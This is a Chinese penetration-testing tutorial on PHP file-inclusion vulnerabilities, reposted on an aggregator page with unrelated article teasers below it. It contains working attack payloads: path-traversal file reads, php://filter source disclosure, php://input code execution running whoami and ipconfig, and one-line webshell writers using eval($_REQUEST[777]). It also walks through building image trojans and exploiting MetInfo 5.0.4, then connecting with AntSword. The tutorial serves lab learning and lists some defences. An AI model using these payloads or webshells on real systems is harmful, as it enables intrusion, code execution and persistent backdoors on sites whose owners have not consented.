渗透测试漏洞原理之---【任意文件包含漏洞】

news2024/11/19 0:21:09

文章目录

    • 1、文件包含概述
      • 1.1 文件包含语句
        • 1.1.1、相关配置
      • 1.2、动态包含
        • 1.2.1、示例代码
        • 1.2.2、本地文件包含
        • 1.2.3、远程文件包含
      • 1.3、漏洞原理
        • 1.3.1、特点
    • 2、文件包含攻防
      • 2.1、利用方法
        • 2.1.1、包含图片木马
        • 2.1.2、读取敏感文件
        • 2.1.3、读取PHP文件源码
        • 2.1.4、执行PHP命令
        • 2.1.5、包含图片马写Shell
        • 2.1.6、包含日志
      • 2.3、文件包含防御
    • 3、metinfo案例
          • 1、蚁剑直接连接图片马
          • 2、读取敏感目录
          • 3、读取php源码
          • 4、执行PHP命令
          • 5、包含木马写Shell (图片马制作新方法)

1、文件包含概述

程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。

几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的Web 应用中居多,在JSP/ASP/ASP.NET 程序中比较少。

1.1 文件包含语句

PHP 提供了四个文件包含的语句,四个语句之间略有不同。

语句区别
include()多次包含,多次执行;
如果包含失败,脚本产生警告,继续运行。
include_once()多次包含,一次执行;
如果包含失败,脚本产生警告,继续运行。
require()多次包含,多次执行;
如果包含失败,脚本产生错误,结束执行。
require_once()多次包含,一次执行;
如果包含失败,脚本产生错误,结束执行

1.1.1、相关配置

文件包含是PHP 的基本功能之一,有本地文件包含与远程文件包含之分。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置

allow_url_fopen = On/Off # 通过远程方式打开文件
allow_url_include = On/Off # 通过远程方式包含文件

1.2、动态包含

1.2.1、示例代码

// file-include.php

$fp = @$_GET['filepath'];
@include $fp;

1.2.2、本地文件包含

本地文件包含(Local File Include,LFI)通过本地路径访问到的文件

?filepath=../phpinfo.php

1.2.3、远程文件包含

远程文件包含(Remote File Include,RFI),通过远程路径访问到的文件

?filepath=http://10.9.75.180/phpinfo.jpg

1.3、漏洞原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

1.3.1、特点

无视文件扩展名读取文件内容

上传图片木马,通过文件包含的方式触发php木马

?filepath=./a.jpg

无条件解析PHP 代码,为图片木马提供了出路

?filepath=a_yjh_info.jpg

2、文件包含攻防

2.1、利用方法

2.1.1、包含图片木马

蚁剑直接连接

http://10.4.7.130/file-include/file-include.php?filepath=1.jpg

2.1.2、读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。

前提条件:

  • 目标文件存在(已知目标文件路径);
  • 具有文件可读权限

具体方法:

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

封装协议

封装协议解释说明
file://
访问本地文件系统
http://
访问 HTTP(s) 网址
ftp://
访问 FTP(s) URLs
php://
访问各个输入/输出流(I/O streams)
zlib://
压缩流
data://
数据(RFC 2397)
glob://
查找匹配的文件路径模式
phar://
PHP 归档
ssh2://
Secure Shell 2
rar://
RAR
ogg://
音频流
expect://
处理交互式的流

2.1.3、读取PHP文件源码

利用php://fileter 读取

?filepath=php://filter/read=convert.base64-encode/resource=目标文件

读取结果是base64,需要解码

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==

2.1.4、执行PHP命令

利用条件:

  • 利用php://input 执行PHP 命令;
  • 远程文件包含开启
POST /file-include/include.php?filepath=php://input HTTP/1.1
Host: 192.168.80.141
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 18

<?php phpinfo();?>

2.1.5、包含图片马写Shell

条件:

  • 确定文件包含漏洞存在;
  • 蚁剑不能直接连接

写shell:

<?php fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?>
    
<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>

利用:

http://10.4.7.130/file-include/shell.php

2.1.6、包含日志

Apache 日志:

  • 访问日志
  • 错误日志

Nginx 日志:

  • 访问日志
  • 错误日志

SSH 日志

邮件日志

2.3、文件包含防御

  • 尽量少的使用动态包含;
  • 严格过滤被包含文件的路径;
  • 将参数allow_url_include 设置为Off
  • 使用参数open_basedir 限定文件访问范围。
open_basedir = c:\phpstudy_2016\www\

3、metinfo案例

以metinfo_5.0.4为例

该环境的文件上传点在admin路径下

image-20230831193515013

但是上传文件会失败,

所以直接在网站的upload\file下放入图片木马


文件包含漏洞利用点:/about/index.php?fmodule=7&module=[filePath]

1、蚁剑直接连接图片马

图片马制作:

copy 1.jpg/b+1.php/a 22.jpg

上传图片木马,通过文件包含的方式去访问

http://127.0.0.1/MetInfo5.0.4//about/index.php?fmodule=7&module=../upload/file/22.jpg

image-20230831202933167

使用蚁剑连接

image-20230831194711403

image-20230831195001401

2、读取敏感目录
http://127.0.0.1/MetInfo5.0.4//about/index.php?fmodule=7&module=../../../../../../../../../../../windows/system32/drivers/etc/hosts

image-20230831195333142

3、读取php源码
http://127.0.0.1/MetInfo5.0.4/about/index.php?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

image-20230831195846864

读取结果:

PD9waHANCiMgTWV0SW5mbyBFbnRlcnByaXNlIENvbnRlbnQgTWFuYWdlbWVudCBTeXN0ZW0gDQojIENvcHlyaWdodCAoQykgTWV0SW5mbyBDby4sTHRkIChodHRwOi8vd3d3Lm1ldGluZm8uY24pLiBBbGwgcmlnaHRzIHJlc2VydmVkLiANCnJlcXVpcmVfb25jZSAnLi4vaW5jbHVkZS9jb21tb24uaW5jLnBocCc7DQppZighJGlkICYmICRjbGFzczEpJGlkID0gJGNsYXNzMTsNCiRzaG93ID0gJGRiLT5nZXRfb25lKCJTRUxFQ1QgKiBGUk9NICRtZXRfY29sdW1uIFdIRVJFIGlkPSRpZCBhbmQgbW9kdWxlPTEiKTsNCmlmKCEkc2hvd3x8ISRzaG93Wydpc3Nob3cnXSl7DQpva2luZm8oJy4uLzQwNC5odG1sJyk7DQp9DQokbWV0YWNjZXNzPSRzaG93W2FjY2Vzc107DQppZigkc2hvd1tjbGFzc3R5cGVdPT0zKXsNCiRzaG93MyA9ICRkYi0+Z2V0X29uZSgiU0VMRUNUICogRlJPTSAkbWV0X2NvbHVtbiBXSEVSRSBpZD0nJHNob3dbYmlnY2xhc3NdJyIpOw0KJGNsYXNzMT0kc2hvdzNbYmlnY2xhc3NdOw0KJGNsYXNzMj0kc2hvd1tiaWdjbGFzc107DQokY2xhc3MzPSRzaG93W2lkXTsNCn1lbHNlew0KJGNsYXNzMT0kc2hvd1tiaWdjbGFzc10/JHNob3dbYmlnY2xhc3NdOiRpZDsNCiRjbGFzczI9JHNob3dbYmlnY2xhc3NdPyRpZDoiMCI7DQokY2xhc3MzPTA7DQp9DQoNCnJlcXVpcmVfb25jZSAnLi4vaW5jbHVkZS9oZWFkLnBocCc7DQokY2xhc3MxX2luZm89JGNsYXNzX2xpc3RbJGNsYXNzMV07DQokY2xhc3MxX2xpc3Q9JGNsYXNzMV9pbmZvOw0KJGNsYXNzMl9pbmZvPSRjbGFzc19saXN0WyRjbGFzczJdOw0KJGNsYXNzM19pbmZvPSRjbGFzc19saXN0WyRjbGFzczNdOw0KJHNob3dbY29udGVudF09Y29udGVudHNob3coJzxkaXY+Jy4kc2hvd1tjb250ZW50XS4nPC9kaXY+Jyk7DQokc2hvd1tkZXNjcmlwdGlvbl09JHNob3dbZGVzY3JpcHRpb25dPyRzaG93W2Rlc2NyaXB0aW9uXTokbWV0X2tleXdvcmRzOw0KJHNob3dba2V5d29yZHNdPSRzaG93W2tleXdvcmRzXT8kc2hvd1trZXl3b3Jkc106JG1ldF9rZXl3b3JkczsNCiRtZXRfdGl0bGU9JG1ldF90aXRsZT8kc2hvd1snbmFtZSddLictJy4kbWV0X3RpdGxlOiRzaG93WyduYW1lJ107DQppZigkc2hvd1snY3RpdGxlJ10hPScnKSRtZXRfdGl0bGU9JHNob3dbJ2N0aXRsZSddOw0KcmVxdWlyZV9vbmNlICcuLi9wdWJsaWMvcGhwL21ldGh0bWwuaW5jLnBocCc7DQppbmNsdWRlIHRlbXBsYXRlKCdzaG93Jyk7DQpmb290ZXIoKTsNCiMgVGhpcyBwcm9ncmFtIGlzIGFuIG9wZW4gc291cmNlIHN5c3RlbSwgY29tbWVyY2lhbCB1c2UsIHBsZWFzZSBjb25zY2lvdXNseSB0byBwdXJjaGFzZSBjb21tZXJjaWFsIGxpY2Vuc2UuDQojIENvcHlyaWdodCAoQykgTWV0SW5mbyBDby4sIEx0ZC4gKGh0dHA6Ly93d3cubWV0aW5mby5jbikuIEFsbCByaWdodHMgcmVzZXJ2ZWQuDQo/

得出base64编码格式的数据,使用bp的Decoder功能进行base64解码

image-20230831200327585

也可以利用HackBar浏览器插件

image-20230831203152587

复制得到的base64编码格式的php代码

image-20230831203229014

点击 OK

image-20230831203246960

解码成功!

4、执行PHP命令

bp拦截得到php源码的数据包

image-20230831203612019

发送到Repeater模块

GET包该成POST数据包

image-20230831203757067

得到POST数据包

image-20230831203826720

把POST请求体中的变量放到url中提交

虽然说是POST数据包,但是POST数据包的url中也可以用GET参数

image-20230831204202648

fmodule=7&module=的值改成php://input,然后在下面写入php代码,点击send

<?php phpinfo();?>

image-20230831204822277

执行系统代码

<?php 
system("whoami")
?>

image-20230831204944450

<?php 
system("ipconfig")
?>

image-20230831205049196

5、包含木马写Shell (图片马制作新方法)
<?php fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?>

该段代码的含义是,在当前目录下创建一个名为shell.php的文件,内容为<?php phpinfo();?>,当我们直接包含图片的时候,这段代码就会被执行

重新再upload\file下放入一张没有木马的图片,使用另一种方式制作图片木马

点击图片---右键属性---详细信息

image-20230831205925746

点击应用,点击确定

在浏览器中访问图片http://127.0.0.1/MetInfo5.0.4/upload/file/1.jpg,图片正常显示

image-20230831210030370

使用文件包含的方式去访问图片

http://127.0.0.1/MetInfo5.0.4/about/index.php?fmodule=7&module=../upload/file/1.jpg

页面显示如下:

image-20230831210513335

随即发现在upload文件夹中有个新建文件shell.php,即可用蚁剑连接

image-20230831210339836

image-20230831210423508

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/956036.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mybatisPlus多数据源方案

背景 在微服务李娜一般一个服务只有一个数据源&#xff0c;但是在有的老项目或者一些特定场景需要多数据源链接不同的数据库&#xff0c;本文以mybatisPlus为基础给出解决方案 多数据源场景分类 情形一&#xff1a;项目启动就确定了情形一&#xff1a;一些sass系统里面动态确…

python-数据分析-numpy、pandas、matplotlib的常用方法

一、numpy import numpy as np1.numpy 数组 和 list 的区别 输出方式不同 里面包含的元素类型 2.构造并访问二维数组 使用 索引/切片 访问ndarray元素 切片 左闭右开 np.array(list) 3.快捷构造高维数组 np.arange() np.random.randn() - - - 服从标准正态分布- - - …

DHorse v1.3.2 发布,基于 k8s 的发布平台

版本说明 新增特性 构建版本、部署应用时的线程池可配置化&#xff1b; 优化特性 构建版本跳过单元测试&#xff1b; 解决问题 解决Vue应用详情页面报错的问题&#xff1b;解决Linux环境下脚本运行失败的问题&#xff1b;解决下载Maven安装文件失败的问题&#xff1b; 升…

VPN网关

阿里云VPN网关(VPN Gateway&#xff0c;简称VPN)是一款基于Internet&#xff0c;通过加密通道将企业数据中心、办公网或终端与专有网络(VPC) 安全可靠连接起来的服务。 VPN网关提供IPsec-VPN和SSL-VPN两种。 网络连接方式应用场景IPsec-VPN支持在企业本地数据中心、企业办公网…

Go语言基础之指针

区别于C/C中的指针&#xff0c;Go语言中的指针不能进行偏移和运算&#xff0c;是安全指针。 要搞明白Go语言中的指针需要先知道3个概念&#xff1a;指针地址、指针类型和指针取值。 Go语言中的指针 任何程序数据载入内存后&#xff0c;在内存都有他们的地址&#xff0c;这就…

瓦格纳老板普里戈任坠机身亡,这是他的必然归宿

大清晨&#xff0c;刷到一则美联社大半夜播发的新闻&#xff0c;瓦格纳的领袖普里戈任&#xff0c;连同其他高层&#xff0c;他们好像是被凑齐了一样&#xff0c;登上同一架飞机&#xff0c;然后走向了死亡。 这太突然了&#xff0c;今天咱们不聊技术&#xff0c;聊聊政治。 瓦…

云性能监控具体功能有哪些?

随着越来越多的企业将业务迁移到云端&#xff0c;云性能监控变得至关重要&#xff0c;能帮助企业提高云环境的效率和可靠性。那么&#xff0c;云性能监控具体功能有哪些?下面&#xff0c;就来看看具体介绍吧! 1、实时监测&#xff1a;通过监测关键指标和事件&#xff0c;及时了…

AcWing 794. 高精度除法

AcWing 794. 高精度除法 题目描述代码展示 题目描述 代码展示 #include <iostream> #include <vector> #include <algorithm>using namespace std;vector<int> div(vector<int> &A, int b, int &r) {vector<int> C;r 0;for (int…

为什么曾经一马当先的C语言,如今却开始出现骂声

今日话题&#xff0c;为什么曾经一马当先的C语言&#xff0c;如今却开始出现各种骂声&#xff1f;C语言的发展历程可以追溯到20世纪70年代初期&#xff0c;它的设计理念、简洁性、可移植性以及对底层硬件的直接控制能力使其在计算机科学领域逐渐受到重视从而成为了天王搬到存在…

(15)线程的实例认识:同步,异步,并发,并发回调,事件,异步线程,UI线程

参看&#xff1a;https://www.bilibili.com/video/BV1xA411671D/?spm_id_from333.880.my_history.page.click&vd_source2a0404a7c8f40ef37a32eed32030aa18 下面是net framework版本 一、文件构成 1、界面如下。 (1)同步与异步有什么区别&#xff1f; …

云备份——第三方库使用介绍(下)

httplib库&#xff0c;一个C11单文件头的跨平台HTTP/HTTPS库。安装起来非常容易。只需包含httplib.h在你的代码中即可。 httplib库实际上是用于搭建一个简单的http服务器或者客户端的库&#xff0c;这种第三方网络库&#xff0c;可以让我们免去搭建服务器或客户端的时间&#x…

lv3 嵌入式开发-linux介绍及环境配置

目录 1 UNIX、Linux和GNU简介 2 环境介绍 3 VMwareTools配置 4 vim配置&#xff1a; 1 UNIX、Linux和GNU简介 什么是UNIX? unix是一个强大的多用户、多任务操作系统&#xff0c;支持多种处理器架构 中文名 尤尼斯 外文名 UNIX 本质 操作系统 类型 分时操作系统 开…

什么是 ORAM

参考文献&#xff1a; [GO96] Goldreich O, Ostrovsky R. Software protection and simulation on oblivious RAMs[J]. Journal of the ACM (JACM), 1996, 43(3): 431-473.[Batcher68] Batcher K E. Sorting networks and their applications[C]//Proceedings of the April 30…

python基础爬虫反爬破解

文章目录 爬虫初识1. HTTP协议与WEB开发&#xff08;1&#xff09;简介&#xff08;2&#xff09;socket套接字&#xff08;3&#xff09;请求协议与响应协议 2. requests&反爬破解&#xff08;1&#xff09;UA反爬&#xff08;2&#xff09;referer反爬&#xff08;3&…

Ansible-playbook变量学习

目录 1.命令行变量赋值2.在playbook中赋值变量3.在ansible的清单文件&#xff08;/etc/ansible/hosts&#xff09;中定义普通变量4.在ansible的清单文件&#xff08;/etc/ansible/hosts&#xff09;中定义分组变量5.定义变量到一个文件中6.在执行playbook的目录创建 group_vars…

30个惊艳的数据可视化作品,让你感受“数据之美”!

‍ 在一个信息大爆炸的时代&#xff0c;每天都有很多的新消息、新发现、新趋势向我们狂轰乱炸而来。在这个过程中&#xff0c;我们既是数据的生产者&#xff0c;也是数据的使用者&#xff0c;然而初次获取和存储的原始数据总是杂乱无章的。 要想数据达到生动有趣、让人一目了…

【C++练习】leetcode刷题训练(中等难度)

【C练习】leetcode刷题训练(中等难度&#xff09; 1.数组中的第K个最大元素2.前K个高频单词3.单词识别4.字符串相乘5.只出现1次的数字Ⅱ6.栈的弹出压入序列 1.数组中的第K个最大元素 解题思路 1.典型的TOP-K问题(用堆来解决) 2.要求实现时间复杂度为O(N),而我们的优先级队列的时…

【附安装包】Alias AutoStudio2023安装教程

软件下载 软件&#xff1a;AutoStudio版本&#xff1a;2023语言&#xff1a;英文大小&#xff1a;4.81G安装环境&#xff1a;Win11/Win10/Win8/Win7硬件要求&#xff1a;CPU2.0GHz 内存4G(或更高&#xff09;下载通道①百度网盘丨64位下载链接&#xff1a;https://pan.baidu.c…

《Flink学习笔记》——第十一章 Flink Table API和 Flink SQL

Table API和SQL是最上层的API&#xff0c;在Flink中这两种API被集成在一起&#xff0c;SQL执行的对象也是Flink中的表&#xff08;Table&#xff09;&#xff0c;所以我们一般会认为它们是一体的。Flink是批流统一的处理框架&#xff0c;无论是批处理&#xff08;DataSet API&a…